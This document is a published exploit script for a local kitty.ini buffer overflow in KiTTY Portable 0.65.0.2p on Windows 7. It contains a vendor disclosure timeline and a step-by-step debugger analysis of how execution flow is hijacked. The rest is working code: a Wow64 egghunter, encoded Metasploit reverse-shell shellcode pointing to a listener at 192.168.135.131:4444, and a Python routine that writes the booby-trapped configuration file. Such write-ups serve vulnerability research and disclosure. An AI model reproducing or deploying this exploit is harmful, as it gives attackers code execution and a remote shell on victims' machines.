# Exploit Title: KiTTY Portable <= 0.65.0.2p Local kitty.ini Overflow (Wow64 Egghunter Win7)
# Date: 28/12/2015
# Exploit Author: Guillaume Kaddouch
# Twitter: @gkweb76
# Blog: http://networkfilter.blogspot.com
# GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.9bis.net/kitty/
# Software Link: http://sourceforge.net/projects/portableapps/files/KiTTY%20Portable/KiTTYPortable_0.65.0.2_English.paf.exe
# Version: 0.65.0.2p
# Tested on: Windows 7 Pro x64 (FR)
# Category: Local
"""
Disclosure Timeline:
--------------------
2015-09-18: Vulnerability discovered
2015-09-26: Vendor contacted
2015-09-28: Vendor answer
2015-10-09: KiTTY 0.65.0.3p released : unintentionally (vendor said) preventing exploit from working, without fixing the core vulnerability
2015-10-20: KiTTY 0.65.1.1p released, vendor fix, but app can still be crashed using same vulnerability on another kitty.ini parameter
2015-11-15: KiTTY 0.66.6.1p released, seems fixed
2015-12-28: exploit published
Description :
-------------
A local overflow exists in kitty.ini file used by KiTTY portable. By writing a 1048 bytes string into
the kitty.ini file, an overflow occurs that makes Kitty crashing. At time of the crash, EIP is
overwritten at offset 1036. As all DLLs are ALSR and DEP protected, and rebased, we can only use
kitty_portable.exe addresses, which start with a NULL. Successful exploitation will grant an
attacker a reverse shell on Windows 7 Pro x64.
Win7 -> Code Execution
Instructions:
-------------
- Run exploit
- Launch KiTTY
Exploitation:
-------------
As EDX register points to our buffer, it seems like using a return address pointing to a
JMP EDX instruction would do the trick. However this is not the case, because of the address containing
a NULL byte, our 1048 bytes buffer is truncated to 1039 bytes, and an access violation occurs before EIP could be
overwritten:
EAX = 00000041
00533DA2 0000 ADD BYTE PTR DS:[EAX],AL <---- Access violation when writing to [EAX]
00533DA4 00 DB 00
Increasing our initial buffer by 4 bytes (1052 bytes) gives us another crash,
but neither EIP nor SEH are overwritten. We end up with another memory access violation, which although looking
like a deadend, is in fact exploitable:
ECX and EBX points to our buffer
EDX and EDI are overwritten by our buffer
EDI = 41414141
764F8DD2 8917 MOV DWORD PTR DS:[EDI],EDX <---- Access violation when writing to [EDI]
Although we do not have control over the execution flow (EIP), we have at least control of the value written to EDI
at offset 1048. We can write a valid memory address into EDI, allowing the program to continue
its execution. One such address is the address ESP points to on the stack: 0x0028C4F8.
Let's take a closer look to the code executed:
764F8DB8 BA FFFEFE7E MOV EDX,7EFEFEFF <-------- (3) JMP back here
764F8DBD 8B01 MOV EAX,DWORD PTR DS:[ECX]
764F8DBF 03D0 ADD EDX,EAX
764F8DC1 83F0 FF XOR EAX,FFFFFFFF
764F8DC4 33C2 XOR EAX,EDX
764F8DC6 8B11 MOV EDX,DWORD PTR DS:[ECX]
764F8DC8 83C1 04 ADD ECX,4
764F8DCB A9 00010181 TEST EAX,81010100
764F8DD0 75 07 JNZ SHORT msvcrt.764F8DD9
764F8DD2 8917 MOV DWORD PTR DS:[EDI],EDX <------- (1) We start HERE
764F8DD4 83C7 04 ADD EDI,4
764F8DD7 EB DF JMP SHORT msvcrt.764F8DB8 <------- (2) jump back above
1) Value from EDX is copied to the stack where EDI points to, then EDI is incremented and points to next address
2) The execution jumps back at the beginning of the code block, overwrites our source register EDX with 7EFEFEFF,
overwrites EAX with 41414141 (ECX point to our buffer), restore EDX with 41414141, increment ECX pointing to our
buffer by 4, pointing to our next buffer value, and starting all over again. Also there is a very interesting instruction
following this code:
764F8DD2 8917 MOV DWORD PTR DS:[EDI],EDX <------- We are HERE
764F8DD4 83C7 04 ADD EDI,4
764F8DD7 EB DF JMP SHORT msvcrt.764F8DB8
764F8DD9 84D2 TEST DL,DL
764F8DDB 74 32 JE SHORT msvcrt.764F8E0F
764F8DDD 84F6 TEST DH,DH
764F8DDF 74 15 JE SHORT msvcrt.764F8DF6
764F8DE1 F7C2 0000FF00 TEST EDX,0FF0000
764F8DE7 75 16 JNZ SHORT msvcrt.764F8DFF
764F8DE9 66:8917 MOV WORD PTR DS:[EDI],DX
764F8DEC 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
764F8DF0 C647 02 00 MOV BYTE PTR DS:[EDI+2],0
764F8DF4 5F POP EDI
764F8DF5 C3 RETN <------- We want that !
This code block happily copies our entire buffer chunk by chunk to the stack, and is later followed by a RET instruction.
If there could be a way to copy our buffer on the stack and make ESP pointing to a predictable part or our buffer, the RET would
give us the control of the execution flow.
When the copy operation is finished, the code crashes again and this time EIP is overwritten with 41414141, and ESP
has the address 0x0028C500 pointing toward the near begining of our buffer (offset 8). The RET has been reached, wonderful :-)
However, we cannot write a usable address here to jump somewhere else as a NULL byte would truncate our entire buffer and no
crash would occur... The goal here would be to find the correct address to put into EDI so that ESP will point to the end
of our buffer, where we will be able to use another address, containing a NULL, to jump somewhere else and
take back control of the execution flow. However our buffer is already terminated by a NULL byte address for EDI.
1) We cannot make ESP points anywhere in the middle of our buffer, as we can only use addresses containing a NULL
2) We cannot add another valid NULL containing address at the end of our buffer, as a stack address containing a NULL is there
for EDI
3) EDI contains an address already pointing to the start of our buffer, thanks to the copy operation, our only chance is to try
to make ESP pointing to it when the crash happens.
After testing by incrementing or decrementing EDI address value, it appears ESP always point to 0x0028C500 at time
of the crash. This means we can calculate the correct offset to align EDI address with ESP, just before the RET happens to make
EIP following that address. The EDI address to achieve that is: (EIP)0x0028C500 - (buffer length)1052 = 0x0028C0E4.
As our buffer is copied onto a NULLs filled zone, we can omit the NULL byte and set EDI to '\xE4\xC0\x28'.
To sume it up:
1) First crash with EIP overwritten seems not exploitable
2) Second crash does not have EIP nor SEH overwritten (memory access violation), we only have "control" over some registers
3) Tweaking values of EDX and EDI, makes the program continue execution and copying our buffer onto the stack
4) The RET instruction is reached and execution crashes again
5) We find an EDI address value which is valid for a) copying our buffer on stack, b) is aligning itself with ESP at the correct
offset and c) will appear on the stack and be used by the RET instruction, giving us finally control over the execution flow.
That is like being forbidden to enter a building, but we give two bags (EDI + EDX) to someone authorized who enters the building,
who do all the work for us inside, and goes out back to us with the vault key (EIP).
Finally, as the memory area we land in is not reliable for bigger shellcode such as reverse shell, using an egg hunter is required.
"""
egg = "w00t" # \x77\x30\x30\x74
# Wow64 Egghunter - Corelan Team
# Written by Lincoln (lincoln@corelan.be)
# Size: 46 bytes
egghunter = (
"\x31\xdb" # XOR EBX, EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\xb3\xc0" # MOV BL,0xc0
"\x66\x81\xCA\xFF\x0F" # OR DX,0FFF
"\x42" # INC EDX
"\x52" # PUSH EDX
"\x6A\x26" # PUSH 26
"\x58" # POP EAX
"\x33\xC9" # XOR ECX,ECX
"\x8B\xD4" # MOV EDX,ESP
"\x64\xff\x13" # CALL DWORD PTR FS:[ebx]
"\x5e" # POP ESI
"\x5a" # POP EDX
"\x3C\x05" # CMP AL,5
"\x74\xe9" # JE SHORT egg.0043F000
"\xB8\x77\x30\x30\x74" # MOV EAX,74303077 w00t
"\x8B\xFA" # MOV EDI,EDX
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xe4" # JNZ SHORT egg.0043F001
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xe1" # JNZ SHORT 0043F001
"\xFF\xE7" # JMP EDI
)
# Metasploit Reverse Shell 192.168.135.131:4444 (replace it with any shellcode you want)
# Encoder: x86/alpha_mixed
# Bad chars: \x00\x0a\x0d\x21\x11\x1a\x01\x31
# Size: 710 bytes
shellcode = (
"\x89\xe3\xda\xd4\xd9\x73\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x6b\x4c\x48\x68\x4c\x42\x45\x50\x57\x70\x67\x70\x33\x50\x4e"
"\x69\x49\x75\x35\x61\x39\x50\x53\x54\x6c\x4b\x32\x70\x76\x50"
"\x6c\x4b\x56\x32\x46\x6c\x4c\x4b\x73\x62\x46\x74\x4c\x4b\x72"
"\x52\x54\x68\x64\x4f\x6f\x47\x33\x7a\x57\x56\x44\x71\x49\x6f"
"\x6c\x6c\x55\x6c\x63\x51\x33\x4c\x77\x72\x56\x4c\x61\x30\x6a"
"\x61\x4a\x6f\x76\x6d\x66\x61\x6f\x37\x6b\x52\x6a\x52\x56\x32"
"\x73\x67\x4c\x4b\x62\x72\x46\x70\x6c\x4b\x33\x7a\x67\x4c\x4c"
"\x4b\x30\x4c\x76\x71\x64\x38\x49\x73\x53\x78\x77\x71\x4b\x61"
"\x53\x61\x4c\x4b\x30\x59\x51\x30\x35\x51\x4a\x73\x4c\x4b\x47"
"\x39\x67\x68\x68\x63\x36\x5a\x33\x79\x6e\x6b\x44\x74\x6c\x4b"
"\x36\x61\x6b\x66\x44\x71\x49\x6f\x4e\x4c\x49\x51\x38\x4f\x56"
"\x6d\x66\x61\x6f\x37\x56\x58\x4b\x50\x51\x65\x59\x66\x54\x43"
"\x43\x4d\x68\x78\x45\x6b\x63\x4d\x75\x74\x33\x45\x4a\x44\x30"
"\x58\x6c\x4b\x71\x48\x35\x74\x47\x71\x5a\x73\x65\x36\x6c\x4b"
"\x76\x6c\x42\x6b\x6e\x6b\x30\x58\x55\x4c\x36\x61\x79\x43\x6c"
"\x4b\x55\x54\x6e\x6b\x37\x71\x7a\x70\x6b\x39\x70\x44\x71\x34"
"\x65\x74\x43\x6b\x53\x6b\x73\x51\x73\x69\x42\x7a\x73\x61\x4b"
"\x4f\x4d\x30\x73\x6f\x53\x6f\x32\x7a\x4c\x4b\x62\x32\x68\x6b"
"\x6e\x6d\x63\x6d\x30\x68\x50\x33\x44\x72\x63\x30\x53\x30\x33"
"\x58\x50\x77\x43\x43\x45\x62\x71\x4f\x30\x54\x43\x58\x72\x6c"
"\x54\x37\x34\x66\x73\x37\x6b\x4f\x6e\x35\x4e\x58\x7a\x30\x76"
"\x61\x37\x70\x65\x50\x64\x69\x6a\x64\x32\x74\x72\x70\x50\x68"
"\x34\x69\x4d\x50\x62\x4b\x45\x50\x79\x6f\x68\x55\x46\x30\x56"
"\x30\x66\x30\x62\x70\x73\x70\x72\x70\x63\x70\x72\x70\x42\x48"
"\x38\x6a\x74\x4f\x6b\x6f\x6b\x50\x79\x6f\x69\x45\x6f\x67\x63"
"\x5a\x65\x55\x50\x68\x79\x50\x6c\x68\x6d\x57\x4d\x53\x32\x48"
"\x36\x62\x57\x70\x67\x61\x43\x6c\x6b\x39\x4b\x56\x71\x7a\x76"
"\x70\x73\x66\x51\x47\x43\x58\x6f\x69\x59\x35\x54\x34\x43\x51"
"\x79\x6f\x49\x45\x4e\x65\x4f\x30\x63\x44\x44\x4c\x79\x6f\x50"
"\x4e\x56\x68\x53\x45\x7a\x4c\x73\x58\x6c\x30\x4e\x55\x4c\x62"
"\x46\x36\x69\x6f\x38\x55\x55\x38\x53\x53\x42\x4d\x70\x64\x55"
"\x50\x4e\x69\x68\x63\x33\x67\x72\x77\x76\x37\x36\x51\x4a\x56"
"\x61\x7a\x54\x52\x46\x39\x53\x66\x4b\x52\x69\x6d\x71\x76\x49"
"\x57\x30\x44\x46\x44\x77\x4c\x57\x71\x47\x71\x4e\x6d\x47\x34"
"\x37\x54\x62\x30\x58\x46\x77\x70\x53\x74\x43\x64\x52\x70\x42"
"\x76\x43\x66\x33\x66\x51\x56\x53\x66\x72\x6e\x66\x36\x46\x36"
"\x52\x73\x72\x76\x30\x68\x52\x59\x48\x4c\x47\x4f\x4b\x36\x6b"
"\x4f\x59\x45\x6f\x79\x4b\x50\x52\x6e\x51\x46\x57\x36\x39\x6f"
"\x66\x50\x75\x38\x55\x58\x4d\x57\x45\x4d\x51\x70\x69\x6f\x4e"
"\x35\x6f\x4b\x78\x70\x6c\x75\x6d\x72\x42\x76\x32\x48\x4d\x76"
"\x7a\x35\x4d\x6d\x6d\x4d\x79\x6f\x68\x55\x57\x4c\x65\x56\x71"
"\x6c\x74\x4a\x6d\x50\x69\x6b\x4b\x50\x70\x75\x55\x55\x4f\x4b"
"\x72\x67\x34\x53\x73\x42\x72\x4f\x73\x5a\x63\x30\x52\x73\x4b"
"\x4f\x39\x45\x41\x41"
)
# Stack address where to copy our shellcode, with an offset of ESP - 1052
edi = '\xE4\xC0\x28' # 0x0028C0E4 WIN7 Pro x64
nops = '\x90' * 8
eggmark = egg * 2
padding = '\x41' * (1048 - len(nops) - len(egghunter))
# The memory area we land makes bigger shellcode crashes after being decoded
# Using a 46 bytes egg hunter and putting our shellcode somewhere else solves this problem
payload1 = nops + egghunter + padding + edi # Egg Hunter
payload2 = eggmark + nops + shellcode # Final Shellcode
# Kitty.ini configuration file
buffer ="[ConfigBox]\n"
buffer +="height=22\n"
buffer +="filter=yes\n"
buffer +="#default=yes\n"
buffer +="#noexit=no\n"
buffer +="[KiTTY]\n"
buffer +="backgroundimage=no\n"
buffer +="capslock=no\n"
buffer +="conf=yes\n"
buffer +="cygterm=yes\n"
buffer +="icon=no\n"
buffer +="#iconfile=\n"
buffer +="#numberoficons=45\n"
buffer +="paste=no\n"
buffer +="print=yes\n"
buffer +="scriptfilefilter=\n"
buffer +="size=no\n"
buffer +="shortcuts=yes\n"
buffer +="mouseshortcuts=yes\n"
buffer +="hyperlink=no\n"
buffer +="transparency=no\n"
buffer +="#configdir=\n"
buffer +="#downloaddir=\n"
buffer +="#uploaddir=\n"
buffer +="remotedir=\n"
buffer +="#PSCPPath=\n"
buffer +="#PlinkPath=\n"
buffer +="#WinSCPPath=\n"
buffer +="#CtHelperPath=\n"
buffer +="#antiidle== \k08\\\n"
buffer +="#antiidledelay=60\n"
buffer +="sshversion=" + payload2 + "\n" # Shellcode
buffer +="#WinSCPProtocol=sftp\n"
buffer +="#autostoresshkey=no\n"
buffer +="#UserPassSSHNoSave=no\n"
buffer +="KiClassName=" + payload1 + "\n" # Egg Hunter
buffer +="#ReconnectDelay=5\n"
buffer +="savemode=dir\n"
buffer +="bcdelay=0\n"
buffer +="commanddelay=5\n"
buffer +="initdelay=2.0\n"
buffer +="internaldelay=10\n"
buffer +="slidedelay=0\n"
buffer +="wintitle=yes\n"
buffer +="zmodem=yes\n"
buffer +="[Print]\n"
buffer +="height=100\n"
buffer +="maxline=60\n"
buffer +="maxchar=85\n"
buffer +="[Folder]\n"
buffer +="[Launcher]\n"
buffer +="reload=yes\n"
buffer +="[Shortcuts]\n"
buffer +="print={SHIFT}{F7}\n"
buffer +="printall={F7}\n"
# Location of our Kitty.ini file (modify with your KiTTY directory)
file = "C:\\kitty\\App\\KiTTY\\kitty.ini"
try:
print "[*] Writing to %s (%s bytes)" % (file, len(buffer))
f = open(file,'w')
f.write(buffer)
f.close()
print "[*] Done!"
except:
print "[-] Error writing %s" % file
